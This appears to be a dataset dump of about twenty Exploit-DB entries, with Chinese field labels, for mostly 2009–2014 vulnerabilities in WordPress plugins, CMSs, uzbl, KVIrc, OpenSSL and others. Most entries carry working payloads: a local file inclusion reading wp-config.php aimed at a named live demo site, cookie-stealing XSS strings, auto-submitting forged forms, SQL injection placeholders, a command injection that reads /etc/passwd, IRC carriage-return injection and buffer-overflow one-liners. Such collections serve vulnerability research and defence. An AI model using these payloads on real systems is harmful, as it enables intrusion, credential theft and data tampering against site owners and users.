QLWD/code_shield huggingface dataset:
标题: WordPress Plugin ShortCode 0.2.3 - Local File Inclusion EDB-ID: 34436 CVE: 2014-5465 类型: WEBAPPS 平台: PHP 发布日期: 2014-08-28 漏洞利用脚本: #################################################################################################
#
# Title                : WordPress ShortCode Plugin - Local File Inclusion Vulnerability
# Severity             : High+/Critical
# Reporter(s)          : Mehdi Karout & Christian Galeone
# Google Dork          : inurl:wp/wp-content/force-download.php
# Plugin Version       : 0.2.3
# Plugin Name          : Download ShortCode
# Plugin Download Link : http://downloads.wordpress.org/plugin/download-shortcode.1.1.zip
# Vendor Home          : http://werdswords.com/
# Date                 : 25/08/2014
# Tested in            : Win7 - Kali Linux
# CVE                  : CVE-2014-5465
#
##################################################################################################
#
# PoC :
#
#
# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=[File]
#
# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=../wp-config.php
#
# Exploit Code :
#
#    $file = $_GET['file'];
#  if(isset($file))
#  {
#      include("pages/$file");
#  }
#  else
#  {
#      include("index.php");
#  }
# 
# Demo :
#
# http://llyndamoreboots.com/wp/wp-content/force-download.php?file=../wp-config.php
#
################################################################################################## URL: https://www.exploit-db.com/exploits/34436
标题: LiveStreet 0.2 - Comment Topic Header Cross-Site Scripting EDB-ID: 34445 CVE: 2009-3260 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/42422/info

LiveStreet is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.

LiveStreet 0.2 is vulnerable; other versions may also be affected.

<img src =. onerror = alert ()> URL: https://www.exploit-db.com/exploits/34445
标题: Allinta CMS 22.07.2010 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities EDB-ID: 34429 CVE: 2010-4922 类型: WEBAPPS 平台: ASP 发布日期: 2010-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/42320/info

Allinta CMS is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Allinta CMS 22.07.2010 is vulnerable; prior versions may also be affected. 

http://www.example.com/languageselect.asp?lang_URL=Default.asp%3Flang%3D&ss=x%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&img=1

http://www.example.com/languageselect.asp?lang_URL=Default.asp%27};alert%28document.cookie%29;{a=%27%3Flang%3D&ss=x&img=1

http://www.example.com/path_to_admin/menuCodeAE.asp?m=edit&i=185%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.example.com/path_to_admin/faqAE.asp?m=edit&i=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.example.com/path_to_admin/contentAE.asp?m=edit&i=376+ANY_SQL_HERE

http://www.example.com/path_to_admin/templatesAE.asp?m=edit&i=1+ANY_SQL_HERE URL: https://www.exploit-db.com/exploits/34429
标题: uzbl 'uzbl-core' - '@SELECTED_URI' Mouse Button Bindings Command Injection EDB-ID: 34426 CVE: 2010-2809 类型: REMOTE 平台: LINUX 发布日期: 2010-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/42297/info

uzbl 'uzbl-core' is prone to a vulnerability that lets attackers inject arbitrary commands because the application fails to adequately sanitize user-supplied input. This issue stems from an insecure default configuration setting.

To exploit this issue, attackers must entice an unsuspecting user to click on a specially crafted URI with their middle mouse button.

Exploiting this issue would permit remote attackers to inject and execute commands with the privileges of a user running the application. 

<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Test</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <p><a href=""$(cat /etc/passwd |zenity --text-info)"">click me with middle button</a><br />this will open a zenity dialog with your passwd file. I shouldn't be able to do this.</p> </body> </html> URL: https://www.exploit-db.com/exploits/34426
标题: OpenSSL - 'ssl3_get_key_exchange()' Use-After-Free Memory Corruption EDB-ID: 34427 CVE: 2010-2939 类型: DOS 平台: LINUX 发布日期: 2010-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/42306/info

OpenSSL is prone to a remote memory-corruption vulnerability.

Successfully exploiting this issue may allow an attacker to execute arbitrary code in the context of the application using the vulnerable library. Failed exploit attempts will result in a denial-of-service condition.

The issue affects OpenSSL 1.0.0a; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34427.zip URL: https://www.exploit-db.com/exploits/34427
标题: VTLS Virtua InfoStation.cgi - SQL Injection EDB-ID: 34420 CVE: 2014-2081 类型: WEBAPPS 平台: CGI 发布日期: 2014-08-26 漏洞利用脚本: =====[Alligator Security Team - Security Advisory]============================

     - VTLS Virtua InfoStation.cgi SQLi - CVE-2014-2081 -

  Author: José Tozo  < juniorbsd () gmail com >

=====[Table of Contents]======================================================

1. Background
2. Detailed description
3. Other contexts & solutions
4. Timeline
5. References

=====[1. Background]============================================================

* Versions affected: VTLS Virtua InfoStation.cgi - All Versions under 2014.X - or 2013.2.X Are Affected
* Release date: 22/08/2014
* Impact: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service

VTLS-Virtua is a full-function library management system, providing management of circulation, cataloging, serials, acquisitions, course reserves and more. All functions are fully integrated, allowing any staff user to access any function at any time according to their library-assigned permissions [1].

=====[2. Detailed description]================================================

Due to improper sanitization, InfoStation.cgi is prone to a SQL Injection vulnerability in its "username" and "password" fields, which could lead an attacker to take over the server database.

The vulnerability described in this document can be exploited by manipulating the aforementioned parameters as decribed in the following example:

http://www.example.com/web_reports/cgi-bin/InfoStation.cgi?mod=login&func=process&database=1&lang_code=en&report_group=Adm&filter=aaa&username=[SQLI]&password=[SQLI]

Currently, the username/password fields on the Infostation login page are vulnerable to attack through modification of the URL via sql injection.
This is where instead of entering staff/staff or root/root, an actual SQL statement is sent in its place 'select * from' or 'delete * from' to modify/query/remove data directly from the database.
We need to verify that the username/password is valid before sending them to the database to verify status and permissions. This can be achieved using prepared statements [2].

=====[3. Other contexts & solutions]==========================================

In 2014.1.1 and 2013.2.4, the InfoStation Log In screen has been improved so that it is not vulnerable to attack via SQL statement injection.

To have the fix applied, your library would need to update your software to the most recent 2014.x or 2013.2.x version.

=====[4. Timeline]============================================================

23/02/14 Vendor & Mitre notification.
24/02/14 Mitre assigned CVE-2014-2081.
28/03/14 Vendor notified again.
28/03/14 Vendor answered the bug was fixed.
05/08/14 Asked vendor from which version has the fix.
05/08/14 Vendor answered the Release Notes and [2].
18/08/14 Asked vendor to report this to the affected customers.
22/08/14 Disclosure date.

=====[5. Reference]============================================================

1 - http://www.vtls.com/products/vtls-virtua
2 - As Vendor answered URL: https://www.exploit-db.com/exploits/34420
标题: ntopng 1.2.0 - Cross-Site Scripting Injection EDB-ID: 34419 CVE: 2014-5464 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-08-26 漏洞利用脚本: ntopng 1.2.0 XSS injection using monitored network traffic

ntopng is the next generation version of the original ntop, a network 
traffic probe and monitor that shows the network usage, similar to what 
the popular top Unix command does.

The web-based frontend of the software is vulnerable to injection of 
script code via forged HTTP Host: request header lines in monitored 
network traffic.

HTTP Host request header lines are extracted using nDPI traffic 
classification library and used without sanitization in several places 
in the frontend, e.g. the Host overview and specific subpages for each 
monitored host.

The injected code might be used to execute javascript and to perform 
management actions with the user-rights of the current ntopng user, 
which can be used to disable the monitoring function or deletion of 
accounts making the monitoring system unusable.

To give a coarse idea of the vulnerability the following python script 
can be used on the monitored network, afterwards the victim needs to 
browse to the Host overview / Host details in the ntopng frontend.

import httplib

conn = httplib.HTTPConnection("example.com")
headers = {"Host": "<SCRIPT>alert(\"xss\")</SCRIPT>", "Accept": 
"text/plain"}
conn.request("GET", "/", None, headers)
r1 = conn.getresponse()
print(r1.status, r1.reason)
data1 = r1.read()

Other users of the nDPI code might be affected as well.

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de URL: https://www.exploit-db.com/exploits/34419
标题: DiamondList - '/user/main/update_settings?setting[site_title]' Cross-Site Scripting EDB-ID: 34413 CVE: 2010-3023 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/42252/info

DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

DiamondList 0.1.6 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/user/main/update_settings" method="post"  name="main" >
<input type="hidden" name="setting[site_title]" value='Wishlists</title><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_keywords]" value="wishlists, applications" />
<input type="hidden" name="setting[site_description]" value="Powered by DiamondList" />
<input type="hidden" name="setting[theme]" value="default" />
<input type="hidden" name="commit" value="Save Settings" />

</form>
<script>
document.main.submit();
</script> URL: https://www.exploit-db.com/exploits/34413
标题: Hulihan Applications BXR 0.6.8 - SQL Injection / HTML Injection EDB-ID: 34412 CVE: 2010-4963 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/42247/info

Hulihan Applications BXR is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

Hulihan Applications BXR 0.6.8 is vulnerable; other versions may also be affected.

http://www.example.com/folder/list?order_by=filesize&#039;+SQL


<form action="http://host/search/show_results" method="post" name="main" >

<input type="hidden" name="search_type" value="filename" />
<input type="hidden" name="search[query]" value=&#039;1"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="commit" value="Find!" />

</form>
<script>
document.main.submit();
</script>


mytagname"><script>alert(document.cookie)</script>


<form action="http://host/settings/update_settings" method="post" name="main" >

<input type="hidden" name="setting[site_title]" value=&#039;BXR File Management System"><script>alert(document.cookie)</script>&#039; />
<input type="hidden" name="setting[site_keywords]" value="BXR, Open Source File Management System" />
<input type="hidden" name="setting[site_description]" value="The Free, Open Source, Ruby on Rails File Management System." />
<input type="hidden" name="setting[let_users_change_default_folder]" value="0" />
<input type="hidden" name="setting[use_ferret]" value="0" />
<input type="hidden" name="setting[overwrite_existing_files]" value="0" />
<input type="hidden" name="commit" value="Update Settings" />

</form>
<script>
document.main.submit();
</script> URL: https://www.exploit-db.com/exploits/34412
标题: DiamondList - '/user/main/update_category?category[description]' Cross-Site Scripting EDB-ID: 34414 CVE: 2010-3023 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/42252/info
 
DiamondList is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
 
DiamondList 0.1.6 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/user/main/update_category/CATEGORY_ID" method="post"  name="main" >
<input type="hidden" name="category[name]" value="some cat name" />
<input type="hidden" name="category[description]" value='descr<script>alert(document.cookie)</script>' />
<input type="hidden" name="commit" value="Update" />

</form>
<script>
document.main.submit();
</script> URL: https://www.exploit-db.com/exploits/34414
标题: Impact Software AdPeeps - Cross-Site Scripting / HTML Injection EDB-ID: 34389 CVE: 2009-4939 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/42071/info

Impact Software Ad Peeps is prone to multiple cross-site scripting vulnerabilities and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code could run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Ad Peeps 8.5d1 is vulnerable; other versions may also be affected. 

http://www.example.com/adpeeps/index.php?uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=login_lookup&uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=adminlogin&uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=createcampaign&mode=new&uid=100000&c ampaignid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=view_account_stats&uid=100000&type=" ><script>alert(2)</script>&period="><script>alert(1)</script>
http://www.example.com/adpeeps/index.php?loc=view_adrates&uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=account_confirmation&accname="><scri pt>alert(1)</script>&loginpass="><script>alert(2)</script>&uid=100000
http://www.example.com/adpeeps/index.php?loc=setup_account&e6=new&e12=bypass&e9=" ><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=email_advertisers&uid=100000&mode=1& errors=&from="><script>alert(1)</script>&message=&subject="><script>alert(2)</script>
http://www.example.com/adpeeps/index.php?loc=edit_ad_package&uid=100000&idno="><s cript>alert(0)</script> URL: https://www.exploit-db.com/exploits/34389
标题: KVIrc 4.0 - '\r' Carriage Return in DCC Handshake Remote Command Execution EDB-ID: 34385 CVE: 2010-2785 类型: REMOTE 平台: LINUX 发布日期: 2010-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/42026/info

KVIrc is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to execute arbitrary commands within the context of the affected application.

KVIrc 4.0.0 is vulnerable; other versions may also be affected. 

/ctcp nickname DCC GET\rQUIT\r
/ctcp nickname DCC GET\rPRIVMSG\40#channel\40:epic\40fail\r URL: https://www.exploit-db.com/exploits/34385
标题: e-Courier CMS - 'UserGUID' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34376 CVE: 2009-3901 类型: WEBAPPS 平台: ASP 发布日期: 2009-10-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/41970/info

e-Courier CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

https://www.example.com/home/index.asp?UserGUID="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/34376
标题: Active Business Directory 2 - 'searchadvance.asp' Cross-Site Scripting EDB-ID: 34380 CVE: 2009-4464 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/41995/info

Active Business Directory is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Active Business Directory 2 is vulnerable; other versions may also be affected. 

http://www.example.com/demoactivebusinessdirectory/searchadvance.asp? <= xss URL: https://www.exploit-db.com/exploits/34380
标题: Piwigo 2.0 - 'comments.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34367 CVE: 2009-4039 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/41897/info

Piwigo is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Piwigo 2.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/comments.php?keyword=<script>alert(/Vulnerable/.source)</script>&since=
http://www.example.com/comments.php?author=<script>alert(/Vulnerable/.source)</script>&since= URL: https://www.exploit-db.com/exploits/34367
标题: sSMTP 2.62 - 'standardize()' Buffer Overflow EDB-ID: 34375 CVE: 2008-7258 类型: DOS 平台: LINUX 发布日期: 2010-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/41965/info

sSMTP is prone to a remote buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

sSMTP 2.6.2 is vulnerable; other versions may also be affected. 

echo -n . ; for i in {1..2050} ; do echo -n $i ; done URL: https://www.exploit-db.com/exploits/34375
标题: Joomla! Component FreiChat 1.0/2.x - HTML Injection EDB-ID: 34374 CVE: 2010-4949 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/41961/info

Joomla! FreiChat component is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Versions prior to FreiChat 2.1.2 are vulnerable. 

<script>alert('hello')</script> URL: https://www.exploit-db.com/exploits/34374
标题: Stratek Web Design Twilight CMS 4.0 - 'calendar' Cross-Site Scripting EDB-ID: 34366 CVE: 2009-3856 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/41895/info

Twilight CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

The following example URI is available:

http://www.example.com/news/?calendar = "; alert (" ONsec.ru% 20Russian% 20security% 20team \ n \ n "% 2Bdocument.cookie); / / URL: https://www.exploit-db.com/exploits/34366
标题: gif2png 2.5.2 - Remote Buffer Overflow EDB-ID: 34356 CVE: 2009-5018 类型: DOS 平台: LINUX 发布日期: 2009-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/41801/info

gif2png is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.

gif2png 2.5.2 is vulnerable; other versions may also be affected. 

$> ./gif2png $(perl -e 'print "A" x 1053') URL: https://www.exploit-db.com/exploits/34356
标题: Mozilla Firefox and SeaMonkey Plugin Parameters - Remote Buffer Overflow EDB-ID: 34358 CVE: 2010-1214 类型: REMOTE 平台: LINUX 发布日期: 2010-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/41842/info

Mozilla Firefox and SeaMonkey are prone to a buffer-overflow vulnerability.

An attacker can exploit this issue by tricking an unsuspecting victim into viewing a page containing malicious content. A successful exploit will result in the execution of arbitrary attacker-supplied code in the context of the user running the affected application.

This issue is fixed in:

Firefox 3.6.7
Firefox 3.5.11
SeaMonkey 2.0.6

NOTE: This issue was previously covered in BID 41824 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-34 Through -47 Multiple Remote Vulnerabilities), but has been assigned its own record to better document it. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34358.zip URL: https://www.exploit-db.com/exploits/34358